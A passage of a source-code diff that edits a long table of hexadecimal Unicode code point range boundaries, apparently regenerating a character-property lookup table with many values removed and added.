-	0x1712,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
 	0x1715,
-	0x1732,
+	0x1720,
 	0x1735,
-	0x1737,
-	0x1752,
+	0x1740,
 	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
 	0x1772,
 	0x1774,
-	0x17B4,
+	0x1780,
 	0x17D4,
-	0x17D6,
 	0x17D7,
 	0x17D8,
-	0x17D9,
-	0x17DA,
-	0x17DB,
 	0x17DC,
-	0x17DD,
 	0x17DE,
 	0x17E0,
 	0x17EA,
-	0x1802,
-	0x1804,
-	0x1806,
-	0x1807,
-	0x1808,
-	0x180A,
 	0x180B,
 	0x180E,
-	0x180F,
 	0x1810,
 	0x181A,
-	0x1885,
-	0x1887,
-	0x18A9,
-	0x18AA,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
 	0x1920,
 	0x192C,
 	0x1930,
 	0x193C,
-	0x1944,
 	0x1946,
-	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
 	0x19D0,
 	0x19DA,
-	0x1A17,
+	0x1A00,
 	0x1A1C,
-	0x1A55,
+	0x1A20,
 	0x1A5F,
 	0x1A60,
 	0x1A7D,
 	0x1A7F,
-	0x1A80,
 	0x1A8A,
 	0x1A90,
 	0x1A9A,
+	0x1AA7,
+	0x1AA8,
 	0x1AB0,
-	0x1ABF,
+	0x1ABE,
 	0x1B00,
-	0x1B05,
-	0x1B34,
-	0x1B45,
+	0x1B4C,
 	0x1B50,
 	0x1B5A,
-	0x1B5C,
-	0x1B5D,
-	0x1B61,
 	0x1B6B,
 	0x1B74,
 	0x1B80,
-	0x1B83,
-	0x1BA1,
-	0x1BAE,
-	0x1BB0,
-	0x1BBA,
-	0x1BE6,
 	0x1BF4,
-	0x1C24,
+	0x1C00,
 	0x1C38,
-	0x1C3B,
 	0x1C40,
 	0x1C4A,
-	0x1C50,
-	0x1C5A,
+	0x1C4D,
 	0x1C7E,
 	0x1C80,
+	0x1C89,
 	0x1CD0,
 	0x1CD3,
 	0x1CD4,
-	0x1CE9,
-	0x1CED,
-	0x1CEE,
-	0x1CF2,
-	0x1CF5,
-	0x1CF8,
 	0x1CFA,
-	0x1DC0,
-	0x1DF6,
+	0x1D00,
+	0x1DFA,
 	0x1DFB,
-	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
 	0x1FFD,
-	0x1FFE,
-	0x2000,
-	0x2007,
-	0x2008,
-	0x200B,
-	0x200C,
-	0x200D,
-	0x200E,
-	0x2010,
-	0x2011,
-	0x2012,
-	0x2014,
-	0x2015,
-	0x2018,
-	0x201A,
-	0x201B,
-	0x201E,
-	0x201F,
-	0x2020,
-	0x2024,
-	0x2027,
-	0x2028,
-	0x202A,
-	0x202F,
-	0x2030,
-	0x2038,
-	0x2039,
-	0x203B,
-	0x203C,
-	0x203E,
-	0x2044,
-	0x2045,
-	0x2046,
-	0x2047,
-	0x204A,
-	0x2056,
-	0x2057,
-	0x2058,
-	0x205C,
-	0x205D,
-	0x2060,
-	0x2061,
-	0x2066,
-	0x2070,
-	0x207D,
-	0x207E,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0x2071,
+	0x2072,
 	0x207F,
-	0x208D,
-	0x208E,
-	0x208F,
-	0x20A0,
-	0x20A7,
-	0x20A8,
-	0x20B6,
-	0x20B7,
-	0x20BB,
-	0x20BC,
-	0x20BE,
-	0x20BF,
+	0x2080,
+	0x2090,
+	0x209D,
 	0x20D0,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
 	0x20F1,
+	0x2102,
 	0x2103,
-	0x2104,
-	0x2109,
+	0x2107,
+	0x2108,
 	0x210A,
+	0x2114,
+	0x2115,
 	0x2116,
-	0x2117,
-	0x2212,
-	0x2214,
-	0x22EF,
-	0x22F0,
-	0x2308,
-	0x2309,
-	0x230A,
-	0x230B,
-	0x230C,
-	0x231A,
-	0x231C,
-	0x2329,
-	0x232A,
-	0x232B,
-	0x23F0,
-	0x23F4,
-	0x2600,
-	0x2604,
-	0x2614,
-	0x2616,
-	0x2618,
-	0x2619,
-	0x261A,
-	0x261D,
-	0x261E,
-	0x2620,
-	0x2639,
-	0x263C,
-	0x2668,
-	0x2669,
-	0x267F,
-	0x2680,
-	0x26BD,
-	0x26C9,
-	0x26CD,
-	0x26CE,
-	0x26CF,
-	0x26D2,
-	0x26D3,
-	0x26D5,
-	0x26D8,
-	0x26DA,
-	0x26DC,
-	0x26DD,
-	0x26DF,
-	0x26E2,
-	0x26EA,
-	0x26EB,
-	0x26F1,
-	0x26F6,
-	0x26F7,
-	0x26F9,
-	0x26FA,
-	0x26FB,
-	0x26FD,
-	0x2705,
-	0x2708,
-	0x270A,
-	0x270E,
-	0x275B,
-	0x2761,
-	0x2762,
-	0x2764,
-	0x2765,
-	0x2768,
-	0x2769,
-	0x276A,
-	0x276B,
-	0x276C,
-	0x276D,
-	0x276E,
-	0x276F,
-	0x2770,
-	0x2771,
-	0x2772,
-	0x2773,
-	0x2774,
-	0x2775,
-	0x2776,
-	0x27C5,
-	0x27C6,
-	0x27C7,
-	0x27E6,
-	0x27E7,
-	0x27E8,
-	0x27E9,
-	0x27EA,
-	0x27EB,
-	0x27EC,
-	0x27ED,
-	0x27EE,
-	0x27EF,
-	0x27F0,
-	0x2983,
-	0x2984,
-	0x2985,
-	0x2986,
-	0x2987,
-	0x2988,
-	0x2989,
-	0x298A,
-	0x298B,
-	0x298C,
-	0x298D,
-	0x298E,
-	0x298F,
-	0x2990,
-	0x2991,
-	0x2992,
-	0x2993,
-	0x2994,
-	0x2995,
-	0x2996,
-	0x2997,
-	0x2998,
-	0x2999,
-	0x29D8,
-	0x29D9,
-	0x29DA,
-	0x29DB,
-	0x29DC,
-	0x29FC,
-	0x29FD,
-	0x29FE,
-	0x2CEF,
-	0x2CF2,
-	0x2CF9,
-	0x2CFA,
-	0x2CFD,
-	0x2CFE,
-	0x2CFF,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CF4,
 	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
 	0x2D70,
-	0x2D71,
 	0x2D7F,
-	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
 	0x2DE0,
 	0x2E00,
-	0x2E0E,
-	0x2E16,
-	0x2E17,
-	0x2E18,
-	0x2E19,
-	0x2E1A,
-	0x2E1C,
-	0x2E1E,
-	0x2E20,
-	0x2E22,
-	0x2E23,
-	0x2E24,
-	0x2E25,
-	0x2E26,
-	0x2E27,
-	0x2E28,
-	0x2E29,
-	0x2E2A,
-	0x2E2E,
-	0x2E2F,
-	0x2E30,
-	0x2E32,
-	0x2E33,
-	0x2E35,
-	0x2E3A,
-	0x2E3C,
-	0x2E3F,
-	0x2E40,
-	0x2E42,
-	0x2E43,
-	0x2E45,
-	0x2E80,
-	0x2E9A,
-	0x2E9B,
-	0x2EF4,
-	0x2F00,
-	0x2FD6,
-	0x2FF0,
-	0x2FFC,
-	0x3000,
-	0x3001,
-	0x3003,
 	0x3005,
-	0x3006,
 	0x3008,
-	0x3009,
-	0x300A,
-	0x300B,
-	0x300C,
-	0x300D,
-	0x300E,
-	0x300F,
-	0x3010,
-	0x3011,
-	0x3012,
-	0x3014,
-	0x3015,
-	0x3016,
-	0x3017,
-	0x3018,
-	0x3019,
-	0x301A,
-	0x301B,
-	0x301C,
-	0x301D,
-	0x301E,
-	0x3020,
-	0x302A,
+	0x3021,
 	0x3030,
-	0x3035,
+	0x3031,
 	0x3036,
-	0x303B,
+	0x3038,
 	0x303D,
-	0x3040,
 	0x3041,
-	0x3042,
-	0x3043,
-	0x3044,
-	0x3045,
-	0x3046,
-	0x3047,
-	0x3048,
-	0x3049,
-	0x304A,
-	0x3063,
-	0x3064,
-	0x3083,
-	0x3084,
-	0x3085,
-	0x3086,
-	0x3087,
-	0x3088,
-	0x308E,
-	0x308F,
-	0x3095,
 	0x3097,
 	0x3099,
 	0x309B,
-	0x309F,
+	0x309D,
 	0x30A0,
-	0x30A2,
-	0x30A3,
-	0x30A4,
-	0x30A5,
-	0x30A6,
-	0x30A7,
-	0x30A8,
-	0x30A9,
-	0x30AA,
-	0x30C3,
-	0x30C4,
-	0x30E3,
-	0x30E4,
-	0x30E5,
-	0x30E6,
-	0x30E7,
-	0x30E8,
-	0x30EE,
-	0x30EF,
-	0x30F5,
-	0x30F7,
+	0x30A1,
 	0x30FB,
-	0x30FF,
+	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
-	0x3190,
+	0x31A0,
 	0x31BB,
-	0x31C0,
-	0x31E4,
 	0x31F0,
 	0x3200,
-	0x321F,
-	0x3220,
-	0x3248,
-	0x3250,
-	0x32FF,
-	0x3300,
-	0x4DC0,
+	0x3400,
+	0x4DB6,
 	0x4E00,
-	0xA015,
-	0xA016,
+	0x9FEB,
+	0xA000,
 	0xA48D,
-	0xA490,
-	0xA4C7,
+	0xA4D0,
 	0xA4FE,
 	0xA500,
 	0xA60D,
-	0xA60E,
-	0xA60F,
 	0xA610,
-	0xA620,
-	0xA62A,
-	0xA66F,
-	0xA673,
+	0xA62C,
+	0xA640,
+	0xA670,
 	0xA674,
 	0xA67E,
-	0xA69E,
-	0xA6A0,
-	0xA6F0,
+	0xA67F,
 	0xA6F2,
-	0xA6F3,
-	0xA6F8,
-	0xA802,
-	0xA803,
-	0xA806,
-	0xA807,
-	0xA80B,
-	0xA80C,
-	0xA823,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
 	0xA828,
-	0xA838,
-	0xA839,
+	0xA840,
 	0xA874,
-	0xA876,
-	0xA878,
 	0xA880,
-	0xA882,
-	0xA8B4,
 	0xA8C6,
-	0xA8CE,
 	0xA8D0,
 	0xA8DA,
 	0xA8E0,
-	0xA8F2,
+	0xA8F8,
+	0xA8FB,
 	0xA8FC,
 	0xA8FD,
+	0xA8FE,
 	0xA900,
-	0xA90A,
-	0xA926,
 	0xA92E,
 	0xA930,
-	0xA947,
 	0xA954,
 	0xA960,
 	0xA97D,
 	0xA980,
-	0xA984,
-	0xA9B3,
 	0xA9C1,
-	0xA9C7,
-	0xA9CA,
-	0xA9D0,
+	0xA9CF,
 	0xA9DA,
-	0xA9E5,
-	0xA9E6,
-	0xA9F0,
-	0xA9FA,
-	0xAA29,
+	0xA9E0,
+	0xA9FF,
+	0xAA00,
 	0xAA37,
-	0xAA43,
-	0xAA44,
-	0xAA4C,
+	0xAA40,
 	0xAA4E,
 	0xAA50,
 	0xAA5A,
-	0xAA5D,
 	0xAA60,
-	0xAA7B,
-	0xAA7E,
-	0xAAB0,
-	0xAAB1,
-	0xAAB2,
-	0xAAB5,
-	0xAAB7,
-	0xAAB9,
-	0xAABE,
-	0xAAC0,
-	0xAAC1,
-	0xAAC2,
-	0xAAEB,
+	0xAA77,
+	0xAA7A,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
 	0xAAF0,
 	0xAAF2,
-	0xAAF5,
 	0xAAF7,
-	0xABE3,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
 	0xABEB,
 	0xABEC,
 	0xABEE,
@@ -40398,803 +160964,6 @@
 	0xABF0,
 	0xABFA,
 	0xAC00,
-	0xAC01,
-	0xAC1C,
-	0xAC1D,
-	0xAC38,
-	0xAC39,
-	0xAC54,
-	0xAC55,
-	0xAC70,
-	0xAC71,
-	0xAC8C,
-	0xAC8D,
-	0xACA8,
-	0xACA9,
-	0xACC4,
-	0xACC5,
-	0xACE0,
-	0xACE1,
-	0xACFC,
-	0xACFD,
-	0xAD18,
-	0xAD19,
-	0xAD34,
-	0xAD35,
-	0xAD50,
-	0xAD51,
-	0xAD6C,
-	0xAD6D,
-	0xAD88,
-	0xAD89,
-	0xADA4,
-	0xADA5,
-	0xADC0,
-	0xADC1,
-	0xADDC,
-	0xADDD,
-	0xADF8,
-	0xADF9,
-	0xAE14,
-	0xAE15,
-	0xAE30,
-	0xAE31,
-	0xAE4C,
-	0xAE4D,
-	0xAE68,
-	0xAE69,
-	0xAE84,
-	0xAE85,
-	0xAEA0,
-	0xAEA1,
-	0xAEBC,
-	0xAEBD,
-	0xAED8,
-	0xAED9,
-	0xAEF4,
-	0xAEF5,
-	0xAF10,
-	0xAF11,
-	0xAF2C,
-	0xAF2D,
-	0xAF48,
-	0xAF49,
-	0xAF64,
-	0xAF65,
-	0xAF80,
-	0xAF81,
-	0xAF9C,
-	0xAF9D,
-	0xAFB8,
-	0xAFB9,
-	0xAFD4,
-	0xAFD5,
-	0xAFF0,
-	0xAFF1,
-	0xB00C,
-	0xB00D,
-	0xB028,
-	0xB029,
-	0xB044,
-	0xB045,
-	0xB060,
-	0xB061,
-	0xB07C,
-	0xB07D,
-	0xB098,
-	0xB099,
-	0xB0B4,
-	0xB0B5,
-	0xB0D0,
-	0xB0D1,
-	0xB0EC,
-	0xB0ED,
-	0xB108,
-	0xB109,
-	0xB124,
-	0xB125,
-	0xB140,
-	0xB141,
-	0xB15C,
-	0xB15D,
-	0xB178,
-	0xB179,
-	0xB194,
-	0xB195,
-	0xB1B0,
-	0xB1B1,
-	0xB1CC,
-	0xB1CD,
-	0xB1E8,
-	0xB1E9,
-	0xB204,
-	0xB205,
-	0xB220,
-	0xB221,
-	0xB23C,
-	0xB23D,
-	0xB258,
-	0xB259,
-	0xB274,
-	0xB275,
-	0xB290,
-	0xB291,
-	0xB2AC,
-	0xB2AD,
-	0xB2C8,
-	0xB2C9,
-	0xB2E4,
-	0xB2E5,
-	0xB300,
-	0xB301,
-	0xB31C,
-	0xB31D,
-	0xB338,
-	0xB339,
-	0xB354,
-	0xB355,
-	0xB370,
-	0xB371,
-	0xB38C,
-	0xB38D,
-	0xB3A8,
-	0xB3A9,
-	0xB3C4,
-	0xB3C5,
-	0xB3E0,
-	0xB3E1,
-	0xB3FC,
-	0xB3FD,
-	0xB418,
-	0xB419,
-	0xB434,
-	0xB435,
-	0xB450,
-	0xB451,
-	0xB46C,
-	0xB46D,
-	0xB488,
-	0xB489,
-	0xB4A4,
-	0xB4A5,
-	0xB4C0,
-	0xB4C1,
-	0xB4DC,
-	0xB4DD,
-	0xB4F8,
-	0xB4F9,
-	0xB514,
-	0xB515,
-	0xB530,
-	0xB531,
-	0xB54C,
-	0xB54D,
-	0xB568,
-	0xB569,
-	0xB584,
-	0xB585,
-	0xB5A0,
-	0xB5A1,
-	0xB5BC,
-	0xB5BD,
-	0xB5D8,
-	0xB5D9,
-	0xB5F4,
-	0xB5F5,
-	0xB610,
-	0xB611,
-	0xB62C,
-	0xB62D,
-	0xB648,
-	0xB649,
-	0xB664,
-	0xB665,
-	0xB680,
-	0xB681,
-	0xB69C,
-	0xB69D,
-	0xB6B8,
-	0xB6B9,
-	0xB6D4,
-	0xB6D5,
-	0xB6F0,
-	0xB6F1,
-	0xB70C,
-	0xB70D,
-	0xB728,
-	0xB729,
-	0xB744,
-	0xB745,
-	0xB760,
-	0xB761,
-	0xB77C,
-	0xB77D,
-	0xB798,
-	0xB799,
-	0xB7B4,
-	0xB7B5,
-	0xB7D0,
-	0xB7D1,
-	0xB7EC,
-	0xB7ED,
-	0xB808,
-	0xB809,
-	0xB824,
-	0xB825,
-	0xB840,
-	0xB841,
-	0xB85C,
-	0xB85D,
-	0xB878,
-	0xB879,
-	0xB894,
-	0xB895,
-	0xB8B0,
-	0xB8B1,
-	0xB8CC,
-	0xB8CD,
-	0xB8E8,
-	0xB8E9,
-	0xB904,
-	0xB905,
-	0xB920,
-	0xB921,
-	0xB93C,
-	0xB93D,
-	0xB958,
-	0xB959,
-	0xB974,
-	0xB975,
-	0xB990,
-	0xB991,
-	0xB9AC,
-	0xB9AD,
-	0xB9C8,
-	0xB9C9,
-	0xB9E4,
-	0xB9E5,
-	0xBA00,
-	0xBA01,
-	0xBA1C,
-	0xBA1D,
-	0xBA38,
-	0xBA39,
-	0xBA54,
-	0xBA55,
-	0xBA70,
-	0xBA71,
-	0xBA8C,
-	0xBA8D,
-	0xBAA8,
-	0xBAA9,
-	0xBAC4,
-	0xBAC5,
-	0xBAE0,
-	0xBAE1,
-	0xBAFC,
-	0xBAFD,
-	0xBB18,
-	0xBB19,
-	0xBB34,
-	0xBB35,
-	0xBB50,
-	0xBB51,
-	0xBB6C,
-	0xBB6D,
-	0xBB88,
-	0xBB89,
-	0xBBA4,
-	0xBBA5,
-	0xBBC0,
-	0xBBC1,
-	0xBBDC,
-	0xBBDD,
-	0xBBF8,
-	0xBBF9,
-	0xBC14,
-	0xBC15,
-	0xBC30,
-	0xBC31,
-	0xBC4C,
-	0xBC4D,
-	0xBC68,
-	0xBC69,
-	0xBC84,
-	0xBC85,
-	0xBCA0,
-	0xBCA1,
-	0xBCBC,
-	0xBCBD,
-	0xBCD8,
-	0xBCD9,
-	0xBCF4,
-	0xBCF5,
-	0xBD10,
-	0xBD11,
-	0xBD2C,
-	0xBD2D,
-	0xBD48,
-	0xBD49,
-	0xBD64,
-	0xBD65,
-	0xBD80,
-	0xBD81,
-	0xBD9C,
-	0xBD9D,
-	0xBDB8,
-	0xBDB9,
-	0xBDD4,
-	0xBDD5,
-	0xBDF0,
-	0xBDF1,
-	0xBE0C,
-	0xBE0D,
-	0xBE28,
-	0xBE29,
-	0xBE44,
-	0xBE45,
-	0xBE60,
-	0xBE61,
-	0xBE7C,
-	0xBE7D,
-	0xBE98,
-	0xBE99,
-	0xBEB4,
-	0xBEB5,
-	0xBED0,
-	0xBED1,
-	0xBEEC,
-	0xBEED,
-	0xBF08,
-	0xBF09,
-	0xBF24,
-	0xBF25,
-	0xBF40,
-	0xBF41,
-	0xBF5C,
-	0xBF5D,
-	0xBF78,
-	0xBF79,
-	0xBF94,
-	0xBF95,
-	0xBFB0,
-	0xBFB1,
-	0xBFCC,
-	0xBFCD,
-	0xBFE8,
-	0xBFE9,
-	0xC004,
-	0xC005,
-	0xC020,
-	0xC021,
-	0xC03C,
-	0xC03D,
-	0xC058,
-	0xC059,
-	0xC074,
-	0xC075,
-	0xC090,
-	0xC091,
-	0xC0AC,
-	0xC0AD,
-	0xC0C8,
-	0xC0C9,
-	0xC0E4,
-	0xC0E5,
-	0xC100,
-	0xC101,
-	0xC11C,
-	0xC11D,
-	0xC138,
-	0xC139,
-	0xC154,
-	0xC155,
-	0xC170,
-	0xC171,
-	0xC18C,
-	0xC18D,
-	0xC1A8,
-	0xC1A9,
-	0xC1C4,
-	0xC1C5,
-	0xC1E0,
-	0xC1E1,
-	0xC1FC,
-	0xC1FD,
-	0xC218,
-	0xC219,
-	0xC234,
-	0xC235,
-	0xC250,
-	0xC251,
-	0xC26C,
-	0xC26D,
-	0xC288,
-	0xC289,
-	0xC2A4,
-	0xC2A5,
-	0xC2C0,
-	0xC2C1,
-	0xC2DC,
-	0xC2DD,
-	0xC2F8,
-	0xC2F9,
-	0xC314,
-	0xC315,
-	0xC330,
-	0xC331,
-	0xC34C,
-	0xC34D,
-	0xC368,
-	0xC369,
-	0xC384,
-	0xC385,
-	0xC3A0,
-	0xC3A1,
-	0xC3BC,
-	0xC3BD,
-	0xC3D8,
-	0xC3D9,
-	0xC3F4,
-	0xC3F5,
-	0xC410,
-	0xC411,
-	0xC42C,
-	0xC42D,
-	0xC448,
-	0xC449,
-	0xC464,
-	0xC465,
-	0xC480,
-	0xC481,
-	0xC49C,
-	0xC49D,
-	0xC4B8,
-	0xC4B9,
-	0xC4D4,
-	0xC4D5,
-	0xC4F0,
-	0xC4F1,
-	0xC50C,
-	0xC50D,
-	0xC528,
-	0xC529,
-	0xC544,
-	0xC545,
-	0xC560,
-	0xC561,
-	0xC57C,
-	0xC57D,
-	0xC598,
-	0xC599,
-	0xC5B4,
-	0xC5B5,
-	0xC5D0,
-	0xC5D1,
-	0xC5EC,
-	0xC5ED,
-	0xC608,
-	0xC609,
-	0xC624,
-	0xC625,
-	0xC640,
-	0xC641,
-	0xC65C,
-	0xC65D,
-	0xC678,
-	0xC679,
-	0xC694,
-	0xC695,
-	0xC6B0,
-	0xC6B1,
-	0xC6CC,
-	0xC6CD,
-	0xC6E8,
-	0xC6E9,
-	0xC704,
-	0xC705,
-	0xC720,
-	0xC721,
-	0xC73C,
-	0xC73D,
-	0xC758,
-	0xC759,
-	0xC774,
-	0xC775,
-	0xC790,
-	0xC791,
-	0xC7AC,
-	0xC7AD,
-	0xC7C8,
-	0xC7C9,
-	0xC7E4,
-	0xC7E5,
-	0xC800,
-	0xC801,
-	0xC81C,
-	0xC81D,
-	0xC838,
-	0xC839,
-	0xC854,
-	0xC855,
-	0xC870,
-	0xC871,
-	0xC88C,
-	0xC88D,
-	0xC8A8,
-	0xC8A9,
-	0xC8C4,
-	0xC8C5,
-	0xC8E0,
-	0xC8E1,
-	0xC8FC,
-	0xC8FD,
-	0xC918,
-	0xC919,
-	0xC934,
-	0xC935,
-	0xC950,
-	0xC951,
-	0xC96C,
-	0xC96D,
-	0xC988,
-	0xC989,
-	0xC9A4,
-	0xC9A5,
-	0xC9C0,
-	0xC9C1,
-	0xC9DC,
-	0xC9DD,
-	0xC9F8,
-	0xC9F9,
-	0xCA14,
-	0xCA15,
-	0xCA30,
-	0xCA31,
-	0xCA4C,
-	0xCA4D,
-	0xCA68,
-	0xCA69,
-	0xCA84,
-	0xCA85,
-	0xCAA0,
-	0xCAA1,
-	0xCABC,
-	0xCABD,
-	0xCAD8,
-	0xCAD9,
-	0xCAF4,
-	0xCAF5,
-	0xCB10,
-	0xCB11,
-	0xCB2C,
-	0xCB2D,
-	0xCB48,
-	0xCB49,
-	0xCB64,
-	0xCB65,
-	0xCB80,
-	0xCB81,
-	0xCB9C,
-	0xCB9D,
-	0xCBB8,
-	0xCBB9,
-	0xCBD4,
-	0xCBD5,
-	0xCBF0,
-	0xCBF1,
-	0xCC0C,
-	0xCC0D,
-	0xCC28,
-	0xCC29,
-	0xCC44,
-	0xCC45,
-	0xCC60,
-	0xCC61,
-	0xCC7C,
-	0xCC7D,
-	0xCC98,
-	0xCC99,
-	0xCCB4,
-	0xCCB5,
-	0xCCD0,
-	0xCCD1,
-	0xCCEC,
-	0xCCED,
-	0xCD08,
-	0xCD09,
-	0xCD24,
-	0xCD25,
-	0xCD40,
-	0xCD41,
-	0xCD5C,
-	0xCD5D,
-	0xCD78,
-	0xCD79,
-	0xCD94,
-	0xCD95,
-	0xCDB0,
-	0xCDB1,
-	0xCDCC,
-	0xCDCD,
-	0xCDE8,
-	0xCDE9,
-	0xCE04,
-	0xCE05,
-	0xCE20,
-	0xCE21,
-	0xCE3C,
-	0xCE3D,
-	0xCE58,
-	0xCE59,
-	0xCE74,
-	0xCE75,
-	0xCE90,
-	0xCE91,
-	0xCEAC,
-	0xCEAD,
-	0xCEC8,
-	0xCEC9,
-	0xCEE4,
-	0xCEE5,
-	0xCF00,
-	0xCF01,
-	0xCF1C,
-	0xCF1D,
-	0xCF38,
-	0xCF39,
-	0xCF54,
-	0xCF55,
-	0xCF70,
-	0xCF71,
-	0xCF8C,
-	0xCF8D,
-	0xCFA8,
-	0xCFA9,
-	0xCFC4,
-	0xCFC5,
-	0xCFE0,
-	0xCFE1,
-	0xCFFC,
-	0xCFFD,
-	0xD018,
-	0xD019,
-	0xD034,
-	0xD035,
-	0xD050,
-	0xD051,
-	0xD06C,
-	0xD06D,
-	0xD088,
-	0xD089,
-	0xD0A4,
-	0xD0A5,
-	0xD0C0,
-	0xD0C1,
-	0xD0DC,
-	0xD0DD,
-	0xD0F8,
-	0xD0F9,
-	0xD114,
-	0xD115,
-	0xD130,
-	0xD131,
-	0xD14C,
-	0xD14D,
-	0xD168,
-	0xD169,
-	0xD184,
-	0xD185,
-	0xD1A0,
-	0xD1A1,
-	0xD1BC,
-	0xD1BD,
-	0xD1D8,
-	0xD1D9,
-	0xD1F4,
-	0xD1F5,
-	0xD210,
-	0xD211,
-	0xD22C,
-	0xD22D,
-	0xD248,
-	0xD249,
-	0xD264,
-	0xD265,
-	0xD280,
-	0xD281,
-	0xD29C,
-	0xD29D,
-	0xD2B8,
-	0xD2B9,
-	0xD2D4,
-	0xD2D5,
-	0xD2F0,
-	0xD2F1,
-	0xD30C,
-	0xD30D,
-	0xD328,
-	0xD329,
-	0xD344,
-	0xD345,
-	0xD360,
-	0xD361,
-	0xD37C,
-	0xD37D,
-	0xD398,
-	0xD399,
-	0xD3B4,
-	0xD3B5,
-	0xD3D0,
-	0xD3D1,
-	0xD3EC,
-	0xD3ED,
-	0xD408,
-	0xD409,
-	0xD424,
-	0xD425,
-	0xD440,
-	0xD441,
-	0xD45C,
-	0xD45D,
-	0xD478,
-	0xD479,
-	0xD494,
-	0xD495,
-	0xD4B0,
-	0xD4B1,
-	0xD4CC,
-	0xD4CD,
-	0xD4E8,
-	0xD4E9,
-	0xD504,
-	0xD505,
-	0xD520,
-	0xD521,
-	0xD53C,
-	0xD53D,
-	0xD558,
-	0xD559,
-	0xD574,
-	0xD575,
-	0xD590,
-	0xD591,
-	0xD5AC,
-	0xD5AD,
-	0xD5C8,
-	0xD5C9,
-	0xD5E4,
-	0xD5E5,
-	0xD600,
-	0xD601,
-	0xD61C,
-	0xD61D,
-	0xD638,
-	0xD639,
-	0xD654,
-	0xD655,
-	0xD670,
-	0xD671,
-	0xD68C,
-	0xD68D,
-	0xD6A8,
-	0xD6A9,
-	0xD6C4,
-	0xD6C5,
-	0xD6E0,
-	0xD6E1,
-	0xD6FC,
-	0xD6FD,
-	0xD718,
-	0xD719,
-	0xD734,
-	0xD735,
-	0xD750,
-	0xD751,
-	0xD76C,
-	0xD76D,
-	0xD788,
-	0xD789,
 	0xD7A4,
 	0xD7B0,
 	0xD7C7,
@@ -41201,10 +160970,14 @@
 	0xD7CB,
 	0xD7FC,
 	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
 	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
 	0xFB1D,
-	0xFB1E,
-	0xFB1F,
 	0xFB29,
 	0xFB2A,
 	0xFB37,
@@ -41217,99 +160990,48 @@
 	0xFB43,
 	0xFB45,
 	0xFB46,
-	0xFB50,
+	0xFBB2,
+	0xFBD3,
+	0xFC5E,
+	0xFC64,
 	0xFD3E,
-	0xFD3F,
-	0xFD40,
-	0xFDFC,
-	0xFDFD,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFA,
 	0xFE00,
 	0xFE10,
-	0xFE11,
-	0xFE13,
-	0xFE15,
-	0xFE17,
-	0xFE18,
-	0xFE19,
-	0xFE1A,
 	0xFE20,
 	0xFE30,
+	0xFE33,
 	0xFE35,
-	0xFE36,
-	0xFE37,
-	0xFE38,
-	0xFE39,
-	0xFE3A,
-	0xFE3B,
-	0xFE3C,
-	0xFE3D,
-	0xFE3E,
-	0xFE3F,
-	0xFE40,
-	0xFE41,
-	0xFE42,
-	0xFE43,
-	0xFE44,
-	0xFE45,
-	0xFE47,
-	0xFE48,
-	0xFE49,
+	0xFE4D,
 	0xFE50,
-	0xFE51,
-	0xFE52,
-	0xFE53,
-	0xFE54,
-	0xFE56,
-	0xFE58,
-	0xFE59,
-	0xFE5A,
-	0xFE5B,
-	0xFE5C,
-	0xFE5D,
-	0xFE5E,
-	0xFE5F,
-	0xFE67,
-	0xFE68,
-	0xFE69,
-	0xFE6A,
-	0xFE6B,
-	0xFE6C,
-	0xFEFF,
-	0xFF00,
-	0xFF01,
-	0xFF02,
-	0xFF04,
-	0xFF05,
-	0xFF06,
-	0xFF08,
-	0xFF09,
-	0xFF0A,
-	0xFF0C,
-	0xFF0D,
-	0xFF0E,
-	0xFF0F,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
